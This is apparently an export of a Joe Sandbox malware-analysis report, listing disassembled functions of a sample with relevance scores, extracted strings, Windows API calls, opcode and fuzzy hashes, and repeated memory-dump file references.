Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (0Ok$3y`$Q]?g$o$|o
API String ID: 0-4012546623
Opcode ID: 39352e8893046a1dcc5a041e10b3ff693016ab9d24ea3e86fe408823206378be
Instruction ID: 74ac8e61fb4aeb6ba76f4fa667490d0ce75c9997ab5f0f9364269c37c507e8c5
Opcode Fuzzy Hash: 39352e8893046a1dcc5a041e10b3ff693016ab9d24ea3e86fe408823206378be
Instruction Fuzzy Hash: AFB2E4F360C2049FE304AE29EC85A7AFBE5EF94720F16893DE6C4C3744E63558458697

Function 012EE001 Relevance: 6.6, Strings: 4, Instructions: 1583COMMON

Download Yara Rule

Strings

bSNa, xrefs: 012EF181
6l;}, xrefs: 012EE623
%}^, xrefs: 012EE759
G\y|, xrefs: 012EEA40

Memory Dump Source

Source File: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %}^$6l;}$G\y|$bSNa
API String ID: 0-863660505
Opcode ID: aa47e6064e63a4520d2aea638db88b7e75c8646f24df12266d62fd89f2f5a9a4
Instruction ID: aecee069f77483cc7d4d6f499dd4e74ff0de64acf6df2349083b23a09f7c254c
Opcode Fuzzy Hash: aa47e6064e63a4520d2aea638db88b7e75c8646f24df12266d62fd89f2f5a9a4
Instruction Fuzzy Hash: B3A2E6F360C2049FE304AE2DEC85A7AFBE9EF94720F16493DE6C4C3744E63598058696

Function 012EC6B3 Relevance: 6.5, Strings: 4, Instructions: 1516COMMON

Download Yara Rule

Strings

aQE, xrefs: 012EC76B
\q?, xrefs: 012ED8EA
(6|2, xrefs: 012EC783
rF=, xrefs: 012ED073

Memory Dump Source

Source File: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (6|2$\q?$aQE$rF=
API String ID: 0-4160741778
Opcode ID: a66b94a98bd3297aa98751d2d7891a1c27dad029313448db69534cc70c0602f5
Instruction ID: 63325db6647828fcbf473ca6f636bc6dfc4ea92d702797ebe5b43b48254e8203
Opcode Fuzzy Hash: a66b94a98bd3297aa98751d2d7891a1c27dad029313448db69534cc70c0602f5
Instruction Fuzzy Hash: FBA2D5F3A0C2009FE304AE29EC8567AFBE5EF94720F16493DEAC487744E63558458797

Function 00F28EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00F15184,40000001,00000000,00000000,?,00F15184), ref: 00F28EC0

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 038164d97ae7debfc1e4ebd6a4bc0db1c6531b603570547365159865050878bb
Instruction ID: acc360567647fbba77342b8dc67564acbca681303a4cc4eeba3fc931e6c6a6d4
Opcode Fuzzy Hash: 038164d97ae7debfc1e4ebd6a4bc0db1c6531b603570547365159865050878bb
Instruction Fuzzy Hash: B5112A71201208FFDB04CFA4F884FAB37A9AF89750F109558F9198B244DB35EC82EB60

Function 00F19AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F14EEE,00000000,00000000), ref: 00F19AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00F14EEE,00000000,?), ref: 00F19B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F14EEE,00000000,00000000), ref: 00F19B2A
LocalFree.KERNEL32(?,?,?,?,00F14EEE,00000000,?), ref: 00F19B3F

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 01bb7967105c3949b1f2d0fa671e19c06f34144701bdcf60271eec01d2f41067
Instruction ID: f628352698c2208676bf2cfe7442795d2455a88905d0bf0c97ea72d78826a2f5
Opcode Fuzzy Hash: 01bb7967105c3949b1f2d0fa671e19c06f34144701bdcf60271eec01d2f41067
Instruction Fuzzy Hash: 9F11D2B4640308EFEB14CF64D895FAA77B5FB89711F208158FA159B384C7B2AA41DB90

Function 00F27980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F30E00,00000000,?), ref: 00F279B0
RtlAllocateHeap.NTDLL(00000000), ref: 00F279B7
GetLocalTime.KERNEL32(?,?,?,?,?,00F30E00,00000000,?), ref: 00F279C4
wsprintfA.USER32 ref: 00F279F3

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 2a8252cf8daa9521f6d070817f9d48ed88d10f7159c2e2ff909840416b7a3844
Instruction ID: 4db004ae98db0a940a0b6832340adf7bc5affde7e055f463d57cd5f66a12cf76
Opcode Fuzzy Hash: 2a8252cf8daa9521f6d070817f9d48ed88d10f7159c2e2ff909840416b7a3844
Instruction Fuzzy Hash: A8112AB2944218EBCB14DFC9E945BBEB7F8FB4CB12F10421AF615A2284D3395940DBB0

Function 00F23720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00F2E118,00000000,00000001,00F2E108,00000000), ref: 00F23758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00F237B0

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: a930cbb0ab923fc4bcaad3abfbf43cab9410d9f70dacc3598b9a98d9b3bf093c
Instruction ID: b1f2bc20026bbff5a3442df29bc3bfbfb9255ba9f0c4efd08604ae95c2833cec
Opcode Fuzzy Hash: a930cbb0ab923fc4bcaad3abfbf43cab9410d9f70dacc3598b9a98d9b3bf093c
Instruction Fuzzy Hash: 10410671A40A289FDB24DB58DC84BDBB7B4BB48702F4041D8E608AB290E771AEC5CF50

Function 012E9084 Relevance: 4.1, Strings: 2, Instructions: 1626COMMON

Download Yara Rule

Strings

{Wk}, xrefs: 012E9410
c9^, xrefs: 012E97D7

Memory Dump Source

Source File: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: c9^${Wk}
API String ID: 0-3793292400
Opcode ID: 035fc41a6bbc8ea93d9fe6366b3b976be1cb1ee637b9248a6461fb4ac76622af
Instruction ID: 3cb7fad331dd8d3485e64f06585dcf8d56edeb941896eb434ee08707d4d2cb8d
Opcode Fuzzy Hash: 035fc41a6bbc8ea93d9fe6366b3b976be1cb1ee637b9248a6461fb4ac76622af
Instruction Fuzzy Hash: C3B229F3A0C2049FE308AE2DEC8577ABBE5EF94720F16863DE6C583744E63558058697

Function 01289AA0 Relevance: 2.7, Strings: 2, Instructions: 209COMMON

Download Yara Rule

Strings

.07o, xrefs: 01289C1B
$x?^, xrefs: 01289BDC

Memory Dump Source

Source File: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $x?^$.07o
API String ID: 0-868456892
Opcode ID: 88112b38d51eb8a6de4280bda7bf30062797d5054d9186afa7fb6921476078b3
Instruction ID: a8adf4d8402250c0faaa41747c864f984f3b1ff9999d7cb4ba6a32e16405bfe5
Opcode Fuzzy Hash: 88112b38d51eb8a6de4280bda7bf30062797d5054d9186afa7fb6921476078b3
Instruction Fuzzy Hash: D36125B3D286149BE3546E2CDC853BBB7D5EF94710F1A493DEAC8D3380ED7998018686

Function 01216B57 Relevance: 1.5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

Strings

{*`L, xrefs: 01216C08

Memory Dump Source

Source File: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
